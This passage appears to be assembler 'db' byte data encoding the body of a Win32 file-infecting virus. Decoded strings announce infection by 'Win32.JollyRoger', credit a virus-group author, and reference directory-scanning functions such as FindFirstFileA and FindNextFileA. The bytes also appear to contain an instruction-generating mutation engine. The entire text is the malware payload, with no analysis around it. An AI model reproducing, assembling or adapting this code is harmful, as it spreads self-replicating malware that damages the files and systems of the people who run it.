000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 070h, 001h db 000h, 000h, 04eh, 00fh, 084h, 079h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh db 00fh, 084h, 07fh, 001h, 000h, 000h, 04eh, 00fh, 084h, 097h, 001h, 000h, 000h, 0d1h db 0eah, 073h, 007h, 04eh, 00fh, 084h, 0a4h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h db 04eh, 00fh, 084h, 0a0h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h db 0a3h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 0a6h, 001h, 000h db 000h, 04eh, 00fh, 084h, 0b0h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh db 084h, 0b0h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 0b7h, 001h db 000h, 000h, 04eh, 00fh, 084h, 0b7h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh db 00fh, 084h, 0b3h, 001h, 000h, 000h, 0e9h, 0bch, 0feh, 0ffh, 0ffh, 00ch, 088h, 0aah db 0b0h, 0c0h, 00bh, 045h, 0e4h, 00bh, 045h, 0f0h, 0aah, 0c3h, 00ch, 08ah, 0aah, 0b0h db 0c0h, 00bh, 045h, 0e0h, 00bh, 045h, 0f4h, 0aah, 0c3h, 0b0h, 0b0h, 00bh, 045h, 0f8h db 00bh, 045h, 0f0h, 0aah, 0e9h, 08dh, 001h, 000h, 000h, 00ch, 0c6h, 0aah, 0b0h, 0c0h db 0ebh, 0f0h, 0b0h, 00fh, 0aah, 0b0h, 0b6h, 00bh, 045h, 0fch, 00bh, 045h, 0d4h, 0aah db 0b0h, 0c0h, 00bh, 045h, 0c4h, 0ebh, 0d3h, 00ch, 086h, 0aah, 0b0h, 0c0h, 00bh, 045h db 0e0h, 00bh, 045h, 0e8h, 0aah, 0c3h, 00ch, 086h, 0aah, 0ebh, 0f1h, 0b0h, 08dh, 0aah db 0b0h, 005h, 00bh, 045h, 0c4h, 0aah, 0e9h, 059h, 001h, 000h, 000h, 00ch, 000h, 00bh db 045h, 0cch, 0aah, 0ebh, 099h, 00ch, 002h, 00bh, 045h, 0cch, 0aah, 0ebh, 09eh, 00ch db 080h, 0aah, 0b0h, 0c0h, 00bh, 045h, 0cch, 00bh, 045h, 0f0h, 0aah, 0e9h, 032h, 001h db 000h, 000h, 0f7h, 045h, 014h, 001h, 000h, 000h, 000h, 00fh, 084h, 02ch, 0feh, 0ffh db 0ffh, 00ch, 004h, 00bh, 045h, 0cch, 0aah, 0e9h, 01ah, 001h, 000h, 000h, 00ch, 0feh db 0aah, 0b0h, 0c0h, 00bh, 045h, 0d4h, 0e9h, 060h, 0ffh, 0ffh, 0ffh, 0b0h, 040h, 00bh db 045h, 0d4h, 00bh, 045h, 0c8h, 0aah, 0c3h, 00ch, 0f6h, 0aah, 0b0h, 0d0h, 00bh, 045h db 0d4h, 0e9h, 049h, 0ffh, 0ffh, 0ffh, 00ch, 084h, 0aah, 0b0h, 0c0h, 00bh, 045h, 0b4h db 00bh, 045h, 0b0h, 0aah, 0c3h, 00ch, 0f6h, 0aah, 0b0h, 0c0h, 00bh, 045h, 0b8h, 0aah db 0e9h, 0dbh, 000h, 000h, 000h, 0b0h, 00fh, 0aah, 0b0h, 0afh, 0aah, 0b0h, 0c0h, 00bh db 045h, 0c4h, 00bh, 045h, 0c0h, 0aah, 0c3h, 0b0h, 069h, 0aah, 0e8h, 0eeh, 0ffh, 0ffh db 0ffh, 0e9h, 0c4h, 000h, 000h, 000h, 00ch, 0d0h, 00bh, 045h, 0d8h, 0aah, 0b0h, 0c0h db 00bh, 045h, 0cch, 00bh, 045h, 0f0h, 0aah, 0c3h, 00ch, 0c0h, 0aah, 0b0h, 0c0h, 00bh db 045h, 0cch, 00bh, 045h, 0f0h, 0aah, 0e9h, 0adh, 000h, 000h, 000h, 0b0h, 00fh, 0aah db 0b0h, 0a4h, 00bh, 045h, 0d4h, 0aah, 0b0h, 0c0h, 0e8h, 005h, 000h, 000h, 000h, 0e9h db 098h, 000h, 000h, 000h, 0b0h, 0c0h, 00bh, 045h, 0bch, 00bh, 045h, 0c8h, 0aah, 0c3h db 0f7h, 045h, 010h, 002h, 000h, 000h, 000h, 00fh, 084h, 078h, 0fdh, 0ffh, 0ffh, 0b0h db 00fh, 0aah, 0b0h, 0a5h, 00bh, 045h, 0d4h, 0aah, 0ebh, 0deh, 0b0h, 00fh, 0aah, 0b0h db 0c8h, 0ebh, 0dch, 0b0h, 00fh, 0aah, 0b0h, 0c0h, 00bh, 045h, 0fch, 0aah, 0e9h, 0e1h db 0feh, 0ffh, 0ffh, 0b0h, 00fh, 0aah, 0b0h, 0bch, 00bh, 045h, 0dch, 0aah, 0e9h, 06eh db 0ffh, 0ffh, 0ffh, 0b0h, 00fh, 0aah, 0b0h, 0bah, 0aah, 0b0h, 0e0h, 00bh, 045h, 0d0h db 00bh, 045h, 0c8h, 0aah, 0ebh, 042h, 0b0h, 00fh, 0aah, 0b0h, 0a3h, 00bh, 045h, 0d0h db 0aah, 0ebh, 09fh, 066h, 0b8h, 0ebh, 001h, 066h, 0abh, 0b8h, 000h, 001h, 000h, 000h db 0e8h, 033h, 000h, 000h, 000h, 0aah, 0c3h, 0b0h, 026h, 00bh, 045h, 0d0h, 0aah, 0c3h db 0b0h, 064h, 00bh, 045h, 0dch, 0aah, 0c3h, 0b0h, 0f2h, 00bh, 045h, 0dch, 0aah, 0c3h db 083h, 07dh, 0fch, 000h, 074h, 00ah, 0e8h, 000h, 000h, 000h, 000h, 0e8h, 000h, 000h db 000h, 000h, 0b8h, 000h, 001h, 000h, 000h, 0e8h, 002h, 000h, 000h, 000h, 0aah, 0c3h db 060h, 050h, 0ffh, 075h, 008h, 0ffh, 055h, 028h, 083h, 0c4h, 008h, 089h, 044h, 024h db 01ch, 061h, 00bh, 0c0h, 0c3h, 0b8h, 008h, 000h, 000h, 000h, 0e8h, 0e3h, 0ffh, 0ffh db 0ffh, 0c3h, 08bh, 055h, 010h, 0ebh, 00dh, 08bh, 055h, 014h, 0ebh, 008h, 08bh, 055h db 010h, 00bh, 055h, 014h, 0ebh, 000h, 0e8h, 0deh, 0ffh, 0ffh, 0ffh, 08bh, 0c8h, 083h db 07dh, 0fch, 000h, 075h, 003h, 083h, 0e1h, 003h, 00fh, 0a3h, 0cah, 073h, 0ebh, 0c3h db 072h, 02bh, 062h, 000h, 072h, 062h, 000h, 000h, 046h, 069h, 06eh, 064h, 043h, 06ch db 06fh, 073h, 065h, 000h, 000h, 000h, 046h, 069h, 06eh, 064h, 04eh, 065h, 078h, 074h db 046h, 069h, 06ch, 065h, 041h, 000h, 000h, 000h, 046h, 069h, 06eh, 064h, 046h, 069h db 072h, 073h, 074h, 046h, 069h, 06ch, 065h, 041h, 000h, 000h, 06bh, 065h, 072h, 06eh db 065h, 06ch, 033h, 032h, 02eh, 064h, 06ch, 06ch, 000h, 000h, 000h, 000h, 047h, 065h db 074h, 043h, 075h, 072h, 072h, 065h, 06eh, 074h, 044h, 069h, 072h, 065h, 063h, 074h db 06fh, 072h, 079h, 041h, 000h, 000h, 000h, 000h, 073h, 072h, 061h, 06eh, 064h, 000h db 000h, 000h, 072h, 061h, 06eh, 064h, 000h, 000h, 000h, 000h, 048h, 065h, 061h, 070h db 044h, 065h, 073h, 074h, 072h, 06fh, 079h, 000h, 048h, 065h, 061h, 070h, 041h, 06ch db 06ch, 06fh, 063h, 000h, 000h, 000h, 048h, 065h, 061h, 070h, 043h, 072h, 065h, 061h db 074h, 065h, 000h, 000h, 048h, 065h, 061h, 070h, 046h, 072h, 065h, 065h, 000h, 000h db 000h, 000h, 071h, 073h, 06fh, 072h, 074h, 000h, 000h, 000h, 066h, 072h, 065h, 065h db 000h, 000h, 000h, 000h, 063h, 061h, 06ch, 06ch, 06fh, 063h, 000h, 000h, 066h, 074h db 065h, 06ch, 06ch, 000h, 000h, 000h, 066h, 073h, 065h, 065h, 06bh, 000h, 000h, 000h db 066h, 077h, 072h, 069h, 074h, 065h, 000h, 000h, 066h, 072h, 065h, 061h, 064h, 000h db 000h, 000h, 066h, 063h, 06ch, 06fh, 073h, 065h, 000h, 000h, 066h, 06fh, 070h, 065h db 06eh, 000h, 000h, 000h, 047h, 065h, 074h, 054h, 069h, 063h, 06bh, 043h, 06fh, 075h db 06eh, 074h, 000h, 000h, 000h, 000h, 046h, 072h, 065h, 065h, 04ch, 069h, 062h, 072h db 061h, 072h, 079h, 000h, 06dh, 073h, 076h, 063h, 072h, 074h, 02eh, 064h, 06ch, 06ch db 000h, 000h, 054h, 068h, 069h, 073h, 020h, 066h, 069h, 06ch, 065h, 020h, 069h, 073h db 020h, 069h, 06eh, 066h, 065h, 063h, 074h, 065h, 064h, 020h, 077h, 069h, 074h, 068h db 020h, 057h, 069h, 06eh, 033h, 032h, 02eh, 04ah, 06fh, 06ch, 06ch, 079h, 052h, 06fh db 067h, 065h, 072h, 00ah, 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h db 061h, 039h, 032h, 02fh, 05ah, 065h, 06ch, 06ch, 061h, 056h, 020h, 079h, 042h, 020h db 064h, 045h, 064h, 06fh, 043h, 000h, 000h, 000h, 057h, 069h, 06eh, 033h, 032h, 02eh db 04ah, 06fh, 06ch, 06ch, 079h, 052h, 06fh, 067h, 065h, 072h, 000h, 000h, 000h, 000h db 04dh, 065h, 073h, 073h, 061h, 067h, 065h, 042h, 06fh, 078h, 041h, 000h, 075h, 073h db 065h, 072h, 033h, 032h, 02eh, 064h, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02bh, 060h, 047h, 041h, 000h, 000h db 000h, 000h, 002h, 000h, 000h, 000h, 03bh, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 048h, 000h, 000h, 055h, 08bh, 0ech, 083h, 0ech, 040h, 053h, 056h, 057h, 06ah db 014h, 058h, 033h, 0f6h, 089h, 045h, 0ech, 089h, 045h, 0f8h, 08bh, 045h, 00ch, 089h db 075h, 0f4h, 03dh, 0a5h, 000h, 000h, 000h, 089h, 075h, 0e8h, 08dh, 0b8h, 05bh, 0ffh db 0ffh, 0ffh, 00fh, 082h, 05eh, 002h, 000h, 000h, 03bh, 0feh, 074h, 050h, 08dh, 047h db 0ffh, 050h, 056h, 0e8h, 040h, 036h, 000h, 000h, 059h, 02bh, 0f8h, 059h, 089h, 045h db 0f4h, 074h, 03dh, 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 02dh, 036h, 000h, 000h, 059h db 02bh, 0f8h, 059h, 089h, 045h, 0e8h, 074h, 02ah, 08dh, 047h, 0ffh, 050h, 056h, 0e8h db 01ah, 036h, 000h, 000h, 02bh, 0f8h, 059h, 08dh, 040h, 014h, 059h, 089h, 045h, 0ech db 074h, 014h, 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 004h, 036h, 000h, 000h, 02bh, 0f8h db 059h, 083h, 0c0h, 014h, 059h, 089h, 045h, 0f8h, 083h, 0c7h, 078h, 06ah, 007h, 056h db 089h, 07dh, 0f0h, 0e8h, 03ah, 036h, 000h, 000h, 059h, 089h, 045h, 00ch, 059h, 06ah db 004h, 05fh, 03bh, 0c7h, 075h, 00fh, 06ah, 007h, 056h, 0e8h, 026h, 036h, 000h, 000h db 059h, 089h, 045h, 00ch, 059h, 0ebh, 0edh, 06ah, 007h, 056h, 0e8h, 017h, 036h, 000h db 000h, 03bh, 045h, 00ch, 059h, 059h, 089h, 045h, 0fch, 074h, 0eeh, 03bh, 0c7h, 074h db 0eah, 050h, 0e8h, 0edh, 017h, 000h, 000h, 0ffh, 075h, 00ch, 08bh, 0d8h, 0e8h, 0e3h db 017h, 000h, 000h, 057h, 00bh, 0d8h, 0e8h, 0dbh, 017h, 000h, 000h, 0ffh, 075h, 0f4h db 08bh, 07dh, 008h, 00bh, 0d8h, 057h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 056h db 06ah, 007h, 0e8h, 0fah, 002h, 000h, 000h, 08bh, 04dh, 0e8h, 08bh, 0f0h, 08bh, 045h db 0ech, 0c6h, 004h, 03eh, 0e8h, 083h, 064h, 03eh, 001h, 000h, 046h, 003h, 0c1h, 083h db 0c6h, 004h, 050h, 08dh, 004h, 03eh, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch db 06ah, 000h, 06ah, 00ah, 0e8h, 0ceh, 002h, 000h, 000h, 08bh, 04dh, 0f8h, 003h, 0f0h db 083h, 0c4h, 044h, 089h, 04dh, 008h, 08dh, 014h, 03eh, 051h, 052h, 08bh, 055h, 0f0h db 053h, 003h, 0d1h, 003h, 0d0h, 052h, 0ffh, 075h, 00ch, 06ah, 003h, 06ah, 001h, 0e8h db 0a9h, 002h, 000h, 000h, 083h, 0c4h, 01ch, 003h, 0f0h, 03bh, 045h, 008h, 089h, 045h db 0f8h, 074h, 052h, 089h, 045h, 0f4h, 073h, 04dh, 08bh, 04dh, 008h, 08dh, 004h, 03eh db 02bh, 04dh, 0f4h, 051h, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 06ah, 000h db 06ah, 007h, 0e8h, 07ch, 002h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 017h db 08bh, 04dh, 0f4h, 08bh, 055h, 0f8h, 08dh, 074h, 006h, 0ffh, 08dh, 04ch, 001h, 0ffh db 08dh, 044h, 002h, 0ffh, 089h, 045h, 0f8h, 0ebh, 007h, 08bh, 04dh, 0f4h, 0c6h, 004h db 03eh, 090h, 041h, 046h, 0ffh, 045h, 0f8h, 03bh, 04dh, 008h, 089h, 04dh, 0f4h, 072h db 0b3h, 06ah, 014h, 058h, 089h, 045h, 008h, 089h, 045h, 0e8h, 08bh, 045h, 0f0h, 083h db 0c0h, 088h, 085h, 0c0h, 089h, 045h, 0ech, 074h, 029h, 048h, 050h, 06ah, 000h, 0e8h db 0bch, 034h, 000h, 000h, 059h, 059h, 08bh, 04dh, 0ech, 02bh, 0c8h, 08dh, 040h, 014h db 089h, 045h, 008h, 074h, 011h, 049h, 051h, 06ah, 000h, 0e8h, 0a4h, 034h, 000h, 000h db 059h, 083h, 0c0h, 014h, 059h, 089h, 045h, 0e8h, 08bh, 04dh, 00ch, 08bh, 045h, 008h db 089h, 04dh, 0cch, 08bh, 04dh, 014h, 089h, 04dh, 0d0h, 089h, 045h, 0d8h, 08dh, 04dh db 0c0h, 033h, 0c0h, 051h, 050h, 089h, 05dh, 0d4h, 089h, 045h, 0c0h, 0c7h, 045h, 0c4h db 005h, 000h, 000h, 000h, 0c7h, 045h, 0c8h, 004h, 000h, 000h, 000h, 089h, 045h, 0e0h db 089h, 045h, 0dch, 089h, 045h, 0e4h, 0e8h, 02dh, 015h, 000h, 000h, 089h, 045h, 014h db 08bh, 045h, 0e8h, 089h, 045h, 0d8h, 08bh, 04dh, 00ch, 033h, 0c0h, 089h, 05dh, 0d4h db 089h, 045h, 0c0h, 089h, 045h, 0e0h, 089h, 045h, 0dch, 089h, 045h, 0e4h, 08dh, 045h db 0c0h, 089h, 04dh, 0cch, 050h, 0c7h, 045h, 0d0h, 004h, 000h, 000h, 000h, 0ffh, 075h db 014h, 0c7h, 045h, 0c4h, 001h, 000h, 000h, 000h, 0c7h, 045h, 0c8h, 003h, 000h, 000h db 000h, 0e8h, 0ech, 014h, 000h, 000h, 08dh, 004h, 03eh, 050h, 08bh, 045h, 010h, 083h db 0c0h, 003h, 053h, 0c1h, 0e8h, 002h, 050h, 06ah, 003h, 0ffh, 075h, 0fch, 0ffh, 075h db 014h, 0e8h, 063h, 013h, 000h, 000h, 0ffh, 075h, 014h, 089h, 045h, 008h, 0e8h, 040h db 015h, 000h, 000h, 083h, 0c4h, 02ch, 083h, 07dh, 008h, 000h, 075h, 004h, 033h, 0c0h db 0ebh, 075h, 08bh, 045h, 0f0h, 003h, 075h, 008h, 02bh, 045h, 008h, 074h, 068h, 089h db 045h, 008h, 050h, 08dh, 004h, 03eh, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch db 06ah, 000h, 06ah, 007h, 0e8h, 038h, 001h, 000h, 000h, 029h, 045h, 008h, 083h, 065h db 014h, 000h, 083h, 0c4h, 01ch, 003h, 0f0h, 083h, 07dh, 008h, 000h, 076h, 03eh, 08bh db 04dh, 008h, 08dh, 004h, 03eh, 02bh, 04dh, 014h, 051h, 050h, 053h, 0ffh, 075h, 0fch db 0ffh, 075h, 00ch, 06ah, 000h, 06ah, 007h, 0e8h, 00bh, 001h, 000h, 000h, 083h, 0c4h db 01ch, 085h, 0c0h, 074h, 00bh, 08bh, 04dh, 014h, 003h, 0f0h, 08dh, 044h, 001h, 0ffh db 0ebh, 008h, 08bh, 045h, 014h, 0c6h, 004h, 03eh, 090h, 046h, 040h, 03bh, 045h, 008h db 089h, 045h, 014h, 072h, 0c2h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh db 0ech, 051h, 053h, 056h, 057h, 068h, 000h, 028h, 000h, 000h, 068h, 000h, 004h, 000h db 000h, 0e8h, 0aah, 033h, 000h, 000h, 08bh, 04dh, 00ch, 089h, 045h, 0fch, 08dh, 05ch db 008h, 018h, 053h, 06ah, 001h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 08bh, 0f0h, 083h db 0c4h, 010h, 085h, 0f6h, 074h, 04bh, 085h, 0dbh, 076h, 017h, 08bh, 0cbh, 0b8h, 090h db 090h, 090h, 090h, 08bh, 0d1h, 08bh, 0feh, 0c1h, 0e9h, 002h, 0f3h, 0abh, 08bh, 0cah db 083h, 0e1h, 003h, 0f3h, 0aah, 08bh, 045h, 010h, 068h, 0feh, 0ffh, 0feh, 0ffh, 06ah db 000h, 089h, 018h, 0e8h, 014h, 033h, 000h, 000h, 050h, 089h, 045h, 010h, 0ffh, 075h db 00ch, 0ffh, 075h, 0fch, 056h, 0e8h, 088h, 0fch, 0ffh, 0ffh, 083h, 0c4h, 018h, 085h db 0c0h, 075h, 00ch, 056h, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 059h, 033h, 0c0h, 0ebh db 04bh, 06ah, 004h, 033h, 0c9h, 05ah, 039h, 055h, 00ch, 072h, 01bh, 08bh, 07dh, 008h db 083h, 0c2h, 004h, 08bh, 05ch, 017h, 0f8h, 08dh, 03ch, 030h, 033h, 05dh, 010h, 089h db 01ch, 00fh, 083h, 0c1h, 004h, 03bh, 055h, 00ch, 076h, 0e5h, 03bh, 04dh, 00ch, 073h db 01fh, 08bh, 0d1h, 08dh, 03ch, 030h, 08bh, 05dh, 008h, 08ah, 01ch, 019h, 088h, 01ch db 00fh, 041h, 03bh, 04dh, 00ch, 072h, 0f1h, 08bh, 04dh, 010h, 003h, 0d0h, 031h, 00ch db 032h, 08dh, 004h, 032h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 08bh, 044h, 024h db 008h, 048h, 050h, 06ah, 000h, 0e8h, 094h, 032h, 000h, 000h, 059h, 059h, 0c3h, 055h db 08bh, 0ech, 08bh, 045h, 008h, 083h, 0f8h, 00ah, 00fh, 087h, 02fh, 001h, 000h, 000h db 0ffh, 024h, 085h, 049h, 01bh, 000h, 000h, 0ffh, 075h, 020h, 0ffh, 075h, 01ch, 0ffh db 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h, 0c5h, 001h db 000h, 000h, 083h, 0c4h, 018h, 05dh, 0c3h, 0ffh, 075h, 020h, 0ffh, 075h, 01ch, 0ffh db 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h, 06fh, 001h db 000h, 000h, 0ebh, 0e2h, 0ffh, 075h, 020h, 0ffh, 075h, 01ch, 0ffh, 075h, 018h, 0ffh db 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h, 0cah, 001h, 000h, 000h, 0ebh db 0c9h, 0ffh, 075h, 020h, 0ffh, 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh db 075h, 010h, 0ffh, 075h, 00ch, 0e8h, 09ch, 003h, 000h, 000h, 0ebh, 0b0h, 0ffh, 075h db 020h, 0ffh, 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh db 075h, 00ch, 0e8h, 084h, 005h, 000h, 000h, 0ebh, 097h, 0ffh, 075h, 020h, 0ffh, 075h db 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h db 071h, 007h, 000h, 000h, 0e9h, 07bh, 0ffh, 0ffh, 0ffh, 0ffh, 075h, 020h, 0ffh, 075h db 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h db 05bh, 009h, 000h, 000h, 0e9h, 05fh, 0ffh, 0ffh, 0ffh, 0ffh, 075h, 020h, 0ffh, 075h db 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h db 045h, 00bh, 000h, 000h, 0e9h, 043h, 0ffh, 0ffh, 0ffh, 0ffh, 075h, 020h, 0ffh, 075h db 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h db 035h, 00fh, 000h, 000h, 0e9h, 027h, 0ffh, 0ffh, 0ffh, 0ffh, 075h, 020h, 0ffh, 075h db 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h db 051h, 000h, 000h, 000h, 0e9h, 00bh, 0ffh, 0ffh, 0ffh, 0ffh, 075h, 020h, 0ffh, 075h db 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h db 0f7h, 00ch, 000h, 000h, 0e9h, 0efh, 0feh, 0ffh, 0ffh, 033h, 0c0h, 05dh, 0c3h, 052h db 01ah, 000h, 000h, 06bh, 01ah, 000h, 000h, 0b9h, 01ah, 000h, 000h, 09dh, 01ah, 000h db 000h, 084h, 01ah, 000h, 000h, 0d5h, 01ah, 000h, 000h, 0f1h, 01ah, 000h, 000h, 00dh db 01bh, 000h, 000h, 029h, 01bh, 000h, 000h, 01dh, 01ah, 000h, 000h, 039h, 01ah, 000h db 000h, 055h, 08bh, 0ech, 051h, 083h, 065h, 0fch, 000h, 081h, 07dh, 01ch, 000h, 000h db 000h, 0f0h, 076h, 004h, 033h, 0c0h, 0c9h, 0c3h, 08bh, 045h, 014h, 068h, 0f7h, 019h db 000h, 000h, 0ffh, 075h, 018h, 08dh, 04dh, 0fch, 0f7h, 0d0h, 0ffh, 075h, 01ch, 068h db 0ffh, 0ffh, 0ffh, 07fh, 051h, 050h, 050h, 068h, 0ffh, 0ffh, 01fh, 000h, 0e8h, 06ch db 030h, 000h, 000h, 050h, 0b8h, 000h, 010h, 000h, 000h, 0ffh, 0d0h, 08bh, 045h, 0fch db 083h, 0c4h, 024h, 0c9h, 0c3h, 055h, 08bh, 0ech, 08bh, 055h, 01ch, 085h, 0d2h, 075h db 004h, 033h, 0c0h, 05dh, 0c3h, 08ah, 045h, 00ch, 08bh, 04dh, 018h, 004h, 058h, 04ah db 06ah, 001h, 088h, 001h, 085h, 0d2h, 058h, 074h, 018h, 041h, 052h, 051h, 0ffh, 075h db 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 082h, 0ffh, 0ffh db 0ffh, 083h, 0c4h, 018h, 040h, 05dh, 0c3h, 055h, 08bh, 0ech, 08bh, 055h, 01ch, 085h db 0d2h, 075h, 004h, 033h, 0c0h, 05dh, 0c3h, 08ah, 045h, 00ch, 08bh, 04dh, 018h, 004h db 050h, 04ah, 06ah, 001h, 088h, 001h, 085h, 0d2h, 058h, 074h, 018h, 041h, 052h, 051h db 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 048h db 0ffh, 0ffh, 0ffh, 083h, 0c4h, 018h, 040h, 05dh, 0c3h, 055h, 08bh, 0ech, 08bh, 045h db 008h, 053h, 033h, 0d2h, 056h, 085h, 0c0h, 057h, 00fh, 084h, 0aeh, 001h, 000h, 000h db 00fh, 086h, 0cbh, 001h, 000h, 000h, 083h, 0f8h, 002h, 00fh, 086h, 0cbh, 000h, 000h db 000h, 083h, 0f8h, 003h, 00fh, 084h, 0a1h, 000h, 000h, 000h, 083h, 0f8h, 004h, 00fh db 085h, 0b0h, 001h, 000h, 000h, 08bh, 075h, 018h, 08bh, 045h, 00ch, 06ah, 007h, 05fh db 0c6h, 006h, 0c7h, 03bh, 0c7h, 076h, 03ch, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh db 082h, 094h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h, 001h, 005h, 089h, 046h db 002h, 089h, 05eh, 006h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h db 0ffh, 075h, 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0cch, 0feh, 0ffh db 0ffh, 083h, 0c4h, 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 0f8h, 004h db 075h, 012h, 039h, 07dh, 01ch, 00fh, 082h, 056h, 001h, 000h, 000h, 088h, 046h, 001h db 0c6h, 046h, 002h, 024h, 0ebh, 016h, 083h, 0f8h, 005h, 075h, 019h, 039h, 07dh, 01ch db 00fh, 082h, 03fh, 001h, 000h, 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 045h db 08bh, 05dh, 010h, 089h, 05eh, 003h, 0ebh, 0a8h, 06ah, 006h, 05fh, 039h, 07dh, 01ch db 00fh, 082h, 023h, 001h, 000h, 000h, 08bh, 05dh, 010h, 088h, 046h, 001h, 089h, 05eh db 002h, 0ebh, 091h, 06ah, 005h, 05fh, 039h, 07dh, 01ch, 00fh, 082h, 00ch, 001h, 000h db 000h, 08ah, 045h, 00ch, 08bh, 075h, 018h, 08bh, 05dh, 010h, 02ch, 048h, 088h, 006h db 089h, 05eh, 001h, 0e9h, 070h, 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 002h, 00fh, 082h db 0edh, 000h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 001h, 0c6h, 006h, 089h, 075h db 003h, 0c6h, 006h, 08bh, 083h, 0f8h, 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h db 00ch, 08bh, 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h db 08bh, 0c8h, 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h db 004h, 08bh, 0c7h, 0ebh, 006h, 06ah, 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h db 0d2h, 088h, 046h, 001h, 074h, 067h, 0e8h, 0a4h, 02eh, 000h, 000h, 0a8h, 001h, 075h db 039h, 08bh, 04dh, 00ch, 03bh, 0cfh, 074h, 032h, 083h, 0f9h, 004h, 074h, 02dh, 03bh db 0dfh, 074h, 029h, 083h, 0fbh, 004h, 074h, 024h, 083h, 07dh, 008h, 001h, 075h, 004h db 08bh, 0c1h, 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh db 0c0h, 0e0h, 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 05fh, 0e9h, 0dch, 0feh db 0ffh, 0ffh, 06ah, 007h, 05fh, 039h, 07dh, 01ch, 072h, 05bh, 080h, 04eh, 001h, 080h db 083h, 07dh, 008h, 002h, 08bh, 045h, 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h db 066h, 003h, 000h, 088h, 046h, 002h, 0e9h, 0b7h, 0feh, 0ffh, 0ffh, 06ah, 006h, 05fh db 039h, 07dh, 01ch, 072h, 036h, 083h, 07dh, 008h, 002h, 08bh, 045h, 00ch, 074h, 002h db 08bh, 0c3h, 089h, 046h, 002h, 0e9h, 09ch, 0feh, 0ffh, 0ffh, 06ah, 002h, 05fh, 039h db 07dh, 01ch, 072h, 01bh, 08ah, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 075h, 018h, 00ch db 0f8h, 0c0h, 0e0h, 003h, 00ah, 0c3h, 0c6h, 006h, 08bh, 088h, 046h, 001h, 0e9h, 079h db 0feh, 0ffh, 0ffh, 033h, 0c0h, 0e9h, 090h, 0feh, 0ffh, 0ffh, 055h, 08bh, 0ech, 08bh db 045h, 008h, 033h, 0d2h, 053h, 056h, 03bh, 0c2h, 057h, 00fh, 084h, 0c4h, 001h, 000h db 000h, 00fh, 086h, 0e1h, 001h, 000h, 000h, 083h, 0f8h, 002h, 00fh, 086h, 0e6h, 000h db 000h, 000h, 083h, 0f8h, 004h, 00fh, 087h, 0cfh, 001h, 000h, 000h, 08bh, 075h, 018h db 083h, 0f8h, 003h, 0c6h, 006h, 081h, 075h, 069h, 039h, 055h, 00ch, 075h, 047h, 0e8h db 0bdh, 02dh, 000h, 000h, 